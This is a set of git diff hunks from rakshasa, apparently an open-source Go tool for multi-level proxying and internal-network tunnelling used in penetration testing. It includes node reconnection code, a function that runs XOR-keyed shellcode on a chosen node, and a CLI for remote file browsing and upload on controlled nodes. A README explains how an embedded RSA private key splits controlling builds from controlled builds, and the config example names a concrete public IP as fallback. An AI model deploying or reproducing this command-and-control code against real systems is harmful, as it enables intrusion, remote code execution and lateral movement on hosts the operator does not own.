n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||
}()
|
||||
|
||||
var s []*nodeInfo
|
||||
|
||||
for _, _n := range nodeMap {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, &nodeInfo{
|
||||
UUID: _n.uuid,
|
||||
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_GET_NODE_RESULT, id, b)
|
||||
}
|
||||
func (n *node) updateNode(msg nodeInfo) {
|
||||
n.hostName = msg.HostName
|
||||
|
||||
@@ -18,6 +18,12 @@ func (l *serverListen) Lisen() {
|
||||
|
||||
continue
|
||||
}
|
||||
if l.node.isClose == 1 {
|
||||
newNode, _ := getNode(l.node.uuid)
|
||||
if newNode != nil {
|
||||
l.node = newNode
|
||||
}
|
||||
}
|
||||
|
||||
conn := &serverConnect{}
|
||||
conn.conn = c
|
||||
|
||||
@@ -1,98 +0,0 @@
|
||||
package server
|
||||
|
||||
/*
|
||||
*高级shell功能
|
||||
*node节点管理、remoteShell远程shell,config配置管理
|
||||
*/
|
||||
import (
|
||||
"github.com/creack/pty"
|
||||
"io"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
shellMapLock sync.Mutex
|
||||
)
|
||||
|
||||
type StartCmdParam struct {
|
||||
Param string
|
||||
Size *pty.Winsize
|
||||
}
|
||||
type remoteCmd struct {
|
||||
cmdStatus int32
|
||||
cmd *exec.Cmd
|
||||
id uint32
|
||||
stdin io.WriteCloser
|
||||
inChan chan []byte
|
||||
translate func(in []byte) ([]byte, error)
|
||||
ping, pong int64
|
||||
}
|
||||
|
||||
func getRealPath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
if len(path_s) == 0 {
|
||||
return "error"
|
||||
}
|
||||
for _, value := range path_s {
|
||||
|
||||
if value == ".." {
|
||||
k := len(realpath)
|
||||
kk := k - 1
|
||||
realpath = append(realpath[:kk], realpath[k:]...)
|
||||
} else {
|
||||
realpath = append(realpath, value)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(realpath, "/")
|
||||
}
|
||||
|
||||
func getNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id && n.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
func getNodeWithCurrentNode(arg string) (*node, error) {
|
||||
l := clientLock.RLock()
|
||||
|
||||
id, err := strconv.Atoi(arg)
|
||||
|
||||
if err == nil {
|
||||
for _, n := range nodeMap {
|
||||
if n.id == id {
|
||||
l.RUnlock()
|
||||
return n, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if v, ok := nodeMap[arg]; ok {
|
||||
l.RUnlock()
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
l.RUnlock()
|
||||
|
||||
return connectNew(arg)
|
||||
}
|
||||
@@ -25,7 +25,7 @@ type ShellCodeStruct struct {
|
||||
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
|
||||
|
||||
if dst != "" {
|
||||
n, err := getNodeWithCurrentNode(dst)
|
||||
n, err := getNode(dst)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
|
||||
}
|
||||
|
||||
@@ -15,7 +15,6 @@ import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -25,9 +24,9 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -40,10 +39,15 @@ const (
|
||||
CONN_REMOTE_OPEN = 1
|
||||
)
|
||||
|
||||
const (
|
||||
CONN_STATUS_NONE = iota
|
||||
CONN_STATUS_CONNECT
|
||||
)
|
||||
|
||||
type clientConnect struct {
|
||||
cfg *common.Addr
|
||||
windowsSize int64
|
||||
isClose int32
|
||||
status int32
|
||||
conn net.Conn
|
||||
udpConn net.Conn
|
||||
|
||||
@@ -104,8 +108,7 @@ var remoteClose = "服务器要求远程关闭"
|
||||
var nodeIsClose = "节点已经断开连接"
|
||||
|
||||
func (s *clientConnect) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
|
||||
|
||||
if atomic.CompareAndSwapInt32(&s.status, CONN_STATUS_CONNECT, CONN_STATUS_NONE) {
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
s.auth = CONN_AUTH_CLOSE
|
||||
@@ -416,33 +419,38 @@ func handleSocks5Udp(s *clientConnect) {
|
||||
|
||||
}
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) bool {
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
if !s.checkConnect() {
|
||||
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
|
||||
ports := strconv.Itoa(int(port))
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
s.status = CONN_STATUS_CONNECT
|
||||
return true
|
||||
}
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
return false
|
||||
}
|
||||
ports := strconv.Itoa(int(port))
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
return s.server.isClose == 0
|
||||
}
|
||||
func (s *clientConnect) checkConnect() bool {
|
||||
if s.server.isClose == 1 {
|
||||
fmt.Println("重連")
|
||||
//尝试重连
|
||||
if newNode, _ := GetNodeFromAddrs(s.server.reConnectAddrs); newNode != nil {
|
||||
s.server = newNode
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func Bytes2str(b []byte) string {
|
||||
return *(*string)(unsafe.Pointer(&b))
|
||||
return s.status == CONN_STATUS_CONNECT
|
||||
}
|
||||
|
||||
func (s *clientConnect) Remoteclose() {
|
||||
|
||||
+3
-1
@@ -2,7 +2,8 @@
|
||||
|
||||
## yaml文件例子,保存在启动目录下
|
||||
|
||||
```
|
||||
```yaml
|
||||
uuid: 6a709110-b8f9-477d-83fb-093e66a93405
|
||||
dstnode:
|
||||
- 192.168.1.180:8883
|
||||
password: ""
|
||||
@@ -15,6 +16,7 @@ filename: config.yaml
|
||||
|
||||
#### 如果有启动参数将会覆盖掉yaml配置,如-d会覆盖掉dstnode
|
||||
|
||||
- uuid 设置本节点uuid,如果填写有误则使用网卡mac生成
|
||||
- dstnode 目标服务器 对应启动参数:-d
|
||||
- password 传输秘钥 对应启动参数:-password
|
||||
- port 本节点监听端口 对应启动参数:-p
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
|
||||
## 作者: Mob2003
|
||||
|
||||
rakshasa开源地址
|
||||
```url
|
||||
https://github.com/Mob2003/rakshasa
|
||||
```
|
||||
|
||||
## 简介
|
||||
|
||||
rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级代理**,**内网穿透**网络请求。它可以在节点群中任意两个节点之间转发tcp请求和响应,同时支持**socks5代理**,**http代理**,并可**引入外部http、socks5代理池,自动切换请求ip**。
|
||||
|
||||
节点之间使用内置证书的TLS加密TCP通信,再叠加一层自定义秘钥的AES加密。该程序可在所有Go支持的平台上使用,包括Windows和Linux服务器。
|
||||
|
||||
## 名词
|
||||
|
||||
- **主控端** 具有全部功能,能控制所有节点,包括其他主控节点。
|
||||
- **被控端** 只能连接到其他节点,并接收主控端的指令。
|
||||
|
||||
## 缘由
|
||||
|
||||
最初设计 Rakshasa 时,并没有区分主控端和被控端。这在执行 VPN 和代理操作时非常方便。
|
||||
|
||||
然而,在渗透测试场景下,节点往往部署在不安全的设备和网络中。这就可能导致节点所在的设备被攻破,攻击者通过该节点对您的节点群进行反渗透。因此,Rakshasa 需要能够控制节点权限。
|
||||
|
||||
## 权限思考
|
||||
|
||||
一开始,我们考虑了多种解决方案,包括登录验证、连接验证等。但发现这些方法对现有代码的修改过于庞大且耗时。经过简短的思考和面向百度谷歌编程后,决定采用 RSA 非对称加密来处理这个问题。
|
||||
|
||||
RSA 加密的特点是分为**公钥**和**私钥**。在安全系统中,不安全程序使用**公钥**,而安全程序使用**私钥**。
|
||||
|
||||
因此,**被控端**和**主控端**的最大区别在于,主控端拥有私钥,而被控端没有私钥。
|
||||
|
||||
在rakshasa 中,私钥被定义在了 _cert/tls.go_ 文件中,但没有赋值。在编译**主控端**之前,将私钥写入 private.go 文件。这样编译出的程序会自带私钥。在编译**被控端**时,删除 private.go 文件,生成的程序就不包含私钥了。具体的编译代码可以参考 build.go 文件。
|
||||
|
||||
## 权限实现
|
||||
|
||||
有了公钥和私钥后,就需要实现权限区分。
|
||||
|
||||
### 被控端
|
||||
|
||||
被控端没有私钥。它需要连接其他节点进行转发,但不能解密。因此,有两个关键信息不能加密:IP 地址和 UUID。如果 IP 地址被加密,被控端如何进行下一级连接?消息转发和消息控制基于 UUID。如果将 UUID 加密,被控节点也会变成盲目。因此,被控端需要对除 IP 地址和 UUID 之外的其他信息进行加密,并且被控端无法对这些信息进行解密,确保被控端不会反过来控制其他节点。
|
||||
|
||||
|
||||
### 主控端
|
||||
|
||||
主控端拥有私钥。Go 语言自带的库无法实现私钥加密和公钥解密功能,因此采用了第三方库来实现私钥加密。代码中对所有关键主控消息进行了加密,包括但不限于启动 Socks5 正反代理,HTTP 代理,TCP 正反向代理等功能。
|
||||
|
||||
有些同学发现,被控节点启动 Socks5 代理和 HTTP 代理并没有报错。这是因为 Socks5 代理和 HTTP 代理启动时并不需要对方同意,而是在本地直接开启。在使用时才会请求对方节点。这时您会发现,尽管 HTTP 代理已经启动,但无法访问网络。
|
||||
|
||||
## 版本区别
|
||||
|
||||
最后附上rakshasa各个版本的区别
|
||||
|
||||
| | fullnode | node|fullnode_lite|node_lite|
|
||||
| ---- | ---- |---- |---- |---- |
|
||||
|连接其他节点 | √ |√ |√ |√ |
|
||||
|启动本地socks5代理 | √ |√ |√ |√ |
|
||||
|启动本地http代理 | √ |√ |√ |√ |
|
||||
|启动多层代理 | √ |× |√ |× |
|
||||
|远程shell| √ |× |√ |× |
|
||||
|其他远程功能| √ |× |√ |× |
|
||||
| 交互式CLI | √ |√ |× |× |
|
||||
| check_proxy | √ |√ |× |× |
|
||||
|
||||
+12
-4
@@ -42,7 +42,6 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级
|
||||
├── cert //证书存放目录,使用embed内嵌到二进制文件
|
||||
├── common //协议编码格式与配置文件
|
||||
├── gencert //go实现的证书生成,可以生成临时证书
|
||||
├── httppool //http代理池检测相关
|
||||
├── readline //二开以实现更强大的交互式CLI
|
||||
├── readme //使用文档
|
||||
├── server //核心代码
|
||||
@@ -62,7 +61,7 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级
|
||||
├──shellcode.go //执行shellcode
|
||||
├──shellcode_linux.go //暂未实现
|
||||
├──shellcode_windows.go //windows下执行shellcode
|
||||
├──socks5.go //socks5正向代理
|
||||
└──socks5.go //socks5正向代理
|
||||
├── main.go
|
||||
├── config.yaml
|
||||
├── go.mod
|
||||
@@ -74,12 +73,12 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级
|
||||
程序启动时需指定-f参数来读取YML文件:
|
||||
|
||||
```yaml
|
||||
uuid: 6a709110-b8f9-477d-83fb-093e66a93405 #本地节点的uuid,为空则使用mac生成
|
||||
dstnode:
|
||||
- 192.168.1.180:8883 #可以留空,上级节点的ip端口,rakshasa没有公共节点也不会自动发现节点,需要config指定或者启动后使用命令连接其他节点
|
||||
password: "" #通讯秘钥,可以额外指定秘钥,各节点除了证书需要匹配之外,秘钥也需要相同,避免二进制泄漏后被别人无脑连接
|
||||
port: 8883 #监听端口
|
||||
listenip: #外网ip,当某个节点掉线后,会尝试连接这个ip
|
||||
- 192.168.1.151
|
||||
listenip: 137.220.171.27 #外网ip,当某个节点掉线后,会尝试连接这个ip
|
||||
limit: false #节点掉线后的行为模式,为ture的时候,只连接dstnode指定的ip,不会连接其他节点;为false的时候,尝试连接所有已记录节点的listenip与port
|
||||
filename: config.yaml #yaml的文件名,执行保存config命令的时候,会将配置写入这个文件
|
||||
```
|
||||
@@ -177,6 +176,15 @@ filename: config.yaml #yaml的文件名,执行保存config命令的时候
|
||||
- -shellcode string
|
||||
|
||||
与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码
|
||||
|
||||
|
||||
- -uuid string
|
||||
|
||||
以指定的uuid作为本节点id进行启动,留空则使用网卡mac生成
|
||||
|
||||
- -randomUUID bool
|
||||
|
||||
生成一个随机的uuid作为本节点uuid
|
||||
|
||||
## 7. 带参数启动使用例子
|
||||
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
package httppool
|
||||
package server
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
@@ -160,53 +158,4 @@ func check(cfg *common.Addr, timeout uint, checkurl string, outFile *os.File, an
|
||||
return false
|
||||
}
|
||||
|
||||
type HttpPool struct {
|
||||
r *bufio.Reader
|
||||
f *os.File
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func HttpPoolInit(file string) (*HttpPool, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||
}
|
||||
p := &HttpPool{
|
||||
r: bufio.NewReader(f),
|
||||
f: f,
|
||||
Mutex: sync.Mutex{},
|
||||
}
|
||||
if _, err = p.do_next(0); err != nil {
|
||||
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
func (p *HttpPool) Next() *common.Addr {
|
||||
addr, _ := p.do_next(0)
|
||||
return addr
|
||||
}
|
||||
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
|
||||
if n > 100 {
|
||||
return nil, errors.New("重试错误次数过多")
|
||||
}
|
||||
p.Lock()
|
||||
line, err := p.r.ReadString(10)
|
||||
if err == io.EOF {
|
||||
p.f.Seek(0, 0)
|
||||
p.r.Reset(p.f)
|
||||
p.Unlock()
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
p.Unlock()
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if len(line) == 0 {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
addr, err := common.ParseAddr(line)
|
||||
if err != nil {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
return addr, nil
|
||||
}
|
||||
+797
-3
@@ -1,11 +1,27 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/common"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/abiosoft/readline"
|
||||
"github.com/google/uuid"
|
||||
"github.com/luyu6056/ishell"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var rootCli = cliInit()
|
||||
@@ -57,7 +73,7 @@ func cliInit() *ishell.Shell {
|
||||
return
|
||||
}
|
||||
for _, addr := range strings.Split(c.Args[0], ",") {
|
||||
_, err := connectNew(addr)
|
||||
_, err := getNode(addr)
|
||||
if err != nil {
|
||||
c.Println("连接", addr, "失败", err)
|
||||
return
|
||||
@@ -99,9 +115,26 @@ func cliInit() *ishell.Shell {
|
||||
c.Println("参数不对")
|
||||
return
|
||||
}
|
||||
n, ok := nodeMap[c.Args[0]]
|
||||
n, ok := nodeMap.Load(c.Args[0])
|
||||
if ok {
|
||||
n.Delete("")
|
||||
n.(*node).Delete("")
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "closenode",
|
||||
Help: "关闭一个node ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数不对")
|
||||
return
|
||||
}
|
||||
n, ok := nodeMap.Load(c.Args[0])
|
||||
if ok {
|
||||
n.(*node).Close("debug关闭")
|
||||
}
|
||||
|
||||
},
|
||||
@@ -109,3 +142,764 @@ func cliInit() *ishell.Shell {
|
||||
}
|
||||
return shell
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
configShell := cliInit()
|
||||
configShell.SetPrompt("rakshasa\\config>")
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "info",
|
||||
Help: "打印当前配置",
|
||||
Func: func(c *ishell.Context) {
|
||||
c.Println("当前节点", currentNode.uuid)
|
||||
c.Println("上级节点地址", currentConfig.DstNode)
|
||||
c.Println("通讯密码", currentConfig.Password)
|
||||
c.Println("监听端口", currentConfig.Port)
|
||||
c.Println("监听IP", currentConfig.ListenIp)
|
||||
c.Println("禁止额外连接", currentConfig.Limit)
|
||||
c.Println("配置文件名", currentConfig.FileName)
|
||||
if currentConfig.FileSave {
|
||||
c.Println("当前配置:已写入文件")
|
||||
} else {
|
||||
c.Println("当前配置:未写入文件")
|
||||
}
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "save",
|
||||
Help: "保存文件",
|
||||
Func: func(c *ishell.Context) {
|
||||
if err := ConfigSave(); err == nil {
|
||||
c.Println("写入成功")
|
||||
} else {
|
||||
c.Println("保存失败", err.Error())
|
||||
}
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "d",
|
||||
Help: "修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
|
||||
return
|
||||
}
|
||||
dstNode, err := common.ResolveTCPAddr(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
|
||||
return
|
||||
}
|
||||
currentConfig.DstNode = dstNode
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "password",
|
||||
Help: "修改通讯密码,立即生效",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 password \"123456\"")
|
||||
return
|
||||
}
|
||||
c.Println(c.Args)
|
||||
currentConfig.Password = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16]))
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "port",
|
||||
Help: "修改监听端口,立即生效",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 port 8883")
|
||||
return
|
||||
}
|
||||
port, _ := strconv.Atoi(c.Args[0])
|
||||
if port <= 0 || port > 65535 {
|
||||
c.Println("参数错误,端口范围是1-65535")
|
||||
return
|
||||
}
|
||||
c.Println("正在关闭server监听")
|
||||
if currentNode.listen != nil {
|
||||
currentNode.listen.Close()
|
||||
currentNode.listen = nil
|
||||
}
|
||||
currentConfig.Port = port
|
||||
currentNode.port = port
|
||||
currentConfig.FileSave = false
|
||||
if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil {
|
||||
c.Printf("启动节点失败 %v, 请重新修改监听端口", currentConfig.Port)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "ip",
|
||||
Help: "修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
currentConfig.ListenIp = c.Args[0]
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentConfig.FileSave = false
|
||||
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "limit",
|
||||
Help: "修改本节点Limit设置,使用方法 limit true",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
currentConfig.Limit = c.Args[0] == "true"
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "f",
|
||||
Help: "修改配置文件名,使用方法 f config.yaml",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
currentConfig.FileName = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "uuid",
|
||||
Help: "修改本节点UUID设置,使用方法uuid 字串符",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
if id, err := uuid.Parse(c.Args[0]); err == nil {
|
||||
nodeMap.Delete(currentConfig.UUID)
|
||||
currentConfig.UUID = id.String()
|
||||
nodeMap.Store(currentConfig.UUID, currentNode)
|
||||
currentConfig.FileSave = false
|
||||
SetConfig(currentConfig)
|
||||
} else {
|
||||
c.Println("输入的uuid不是合法的uuid,建议使用xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx")
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "config",
|
||||
Help: "配置管理",
|
||||
Func: func(c *ishell.Context) {
|
||||
configShell.Run()
|
||||
},
|
||||
})
|
||||
remoteShell := cliInit()
|
||||
|
||||
remoteShell.SetPrompt("rakshasa\\remoteshell>")
|
||||
|
||||
fileShell := cliInit()
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "file",
|
||||
Help: "连到节点进行文件管理,参数为id或者uuid",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
workN, _ := getNode(c.Args[0])
|
||||
if workN == nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
|
||||
if workN != nil {
|
||||
fileShell.Set("node", workN)
|
||||
result := make(chan interface{}, 1)
|
||||
id := workN.storeQuery(result)
|
||||
workN.Write(common.CMD_PWD, id, []byte(cert.RSAEncrypterByPriv(currentConfig.Password)))
|
||||
select {
|
||||
case pwd := <-result:
|
||||
workN.deleteQuery(id)
|
||||
pwd = strings.ReplaceAll(pwd.(string), "\\", "/")
|
||||
fileShell.Set("pwd", pwd)
|
||||
fileShell.SetPrompt(workN.uuid + " " + pwd.(string) + ">")
|
||||
fileShell.Run()
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
workN.deleteQuery(id)
|
||||
c.Println("连接", c.Args[0], "超时")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "dir",
|
||||
Help: "打印当前目录文件",
|
||||
Func: func(c *ishell.Context) {
|
||||
pwd := fileShell.Get("pwd")
|
||||
|
||||
n := c.Get("node").(*node)
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_DIR, id, []byte(cert.RSAEncrypterByPriv(pwd.(string))))
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
c.Println(res)
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("dir time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "cd",
|
||||
Help: "切换工作目录",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
dir := c.Args[0]
|
||||
pwd := fileShell.Get("pwd").(string)
|
||||
n := c.Get("node").(*node)
|
||||
|
||||
if strings.Contains(dir, ":/") || dir[0] == '/' || dir == "~" {
|
||||
pwd = dir
|
||||
} else {
|
||||
pwd += "/" + dir
|
||||
pwd = strings.TrimRight(getRealPath(pwd), "/")
|
||||
}
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_CD, id, []byte(cert.RSAEncrypterByPriv(pwd)))
|
||||
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
if err, ok := res.(error); ok {
|
||||
c.Println(err.Error())
|
||||
} else {
|
||||
pwd = res.(string)
|
||||
fileShell.Set("pwd", pwd)
|
||||
c.SetPrompt(n.uuid + " " + pwd + ">")
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("dir time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "upload",
|
||||
Help: "上传文件 ,upload 本地文件 远程目录(为空传到工作目录)",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 && len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
s, err := os.Stat(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("打开本地文件", c.Args[0], "错误 ", err)
|
||||
return
|
||||
}
|
||||
f, err := os.Open(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("打开本地文件", c.Args[0], "错误 ", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
pwd := fileShell.Get("pwd").(string) + "/"
|
||||
n := c.Get("node").(*node)
|
||||
|
||||
if len(c.Args) == 2 {
|
||||
pwd = c.Args[1]
|
||||
}
|
||||
pwd = strings.ReplaceAll(pwd, "\\", "/")
|
||||
c.Args[0] = strings.ReplaceAll(c.Args[0], "\\", "/")
|
||||
i := strings.LastIndex(c.Args[0], "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
|
||||
if pwd[len(pwd)-1] == '/' {
|
||||
pwd += c.Args[0][i:]
|
||||
}
|
||||
i = strings.LastIndex(pwd, "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
pwd = dir + filename
|
||||
resChan := make(chan interface{}, 9999) //避免收消息阻塞
|
||||
|
||||
filereadChan := make(chan []byte, 10)
|
||||
|
||||
upload := func() {
|
||||
for i := 0; i < 10; i++ {
|
||||
buf := make([]byte, common.MAX_PACKAGE-len(pwd)-9)
|
||||
n, err := f.Read(buf)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
|
||||
return
|
||||
}
|
||||
resChan <- err
|
||||
c.Println("读取文件", c.Args[0], "错误", err)
|
